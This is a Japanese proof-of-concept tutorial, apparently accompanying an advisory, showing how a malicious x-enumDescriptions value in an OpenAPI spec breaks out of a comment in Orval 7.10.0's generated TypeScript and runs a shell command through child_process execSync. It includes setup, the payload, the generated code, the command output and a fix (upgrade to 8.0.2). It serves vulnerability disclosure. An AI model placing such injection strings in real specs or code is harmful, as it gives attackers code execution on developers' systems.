
概念実証コード:悪意のあるOpenAPIフィールドを介してOrvalで任意のコード実行を実証するもので、セットアップ、エクスプロイト手順、および修復ガイダンスを含みます。
このチュートリアルでは、信頼できない OpenAPI 仕様が x-enumDescriptions フィールドと x-enumNames フィールドを介して Orval を悪用し、生成されたクライアントに任意のコードを注入する方法を示します。
orval (例: 7.10.0) をインストールします:mkdir orval-poc
cd orval-poc
npm init -y
npm install [email protected] axios
orval.config.js を作成します:module.exports = {
test: {
input: './openapi.yaml',
output: {
target: './generated/api.ts',
schemas: './generated/model',
mode: 'split',
},
},
};
openapi.yaml を作成します:openapi: 3.0.0
info:
title: Test API
version: 1.0.0
paths:
/test:
get:
responses:
'200':
description: OK
content:
application/json:
schema:
type: object
properties:
status:
$ref: '#/components/schemas/TestEnum'
components:
schemas:
TestEnum:
type: string
enum:
- VAL1
x-enumDescriptions:
- "*/ }; (function(){ const { execSync } = require('child_process'); console.log('ID_COMMAND_OUTPUT: ' + execSync('id').toString()); })(); export const Dummy = { /*"
npx orval
generated/model/testEnum.ts を確認します:/**
* Generated by orval v7.10.0 🍺
* Do not edit manually.
* Test API
* OpenAPI spec version: 1.0.0
*/
export type TestEnum = typeof TestEnum[keyof typeof TestEnum];
// eslint-disable-next-line @typescript-eslint/no-redeclare
export const TestEnum = {
/** */ }; (function(){ const { execSync } = require('child_process'); console.log('ID_COMMAND_OUTPUT: ' + execSync('id').toString()); })(); export const Dummy = { /* */
VAL1: 'VAL1',
} as const;
ランナースクリプト exploit.ts を作成します:
import { TestEnum } from './generated/model/testEnum';
console.log('TestEnum value:', TestEnum);
tsx を使用して実行します:
npm install -D tsx
npx tsx exploit.ts
出力:
🍻 Start orval v7.10.0 - A swagger client generator for typescript
🎉 test - Your OpenAPI spec has been converted into ready to use orval!
ID_COMMAND_OUTPUT: uid=1002(boroeurn) gid=1002(boroeurn) groups=1002(boroeurn),27(sudo),100(users),126(libvirt),986(docker),993(kvm)
TestEnum value: {}
Orval をバージョン 8.0.2 以降にアップグレードしてください。この修正により、js-string-escape を使用してこれらの文字列が適切にエスケープされます。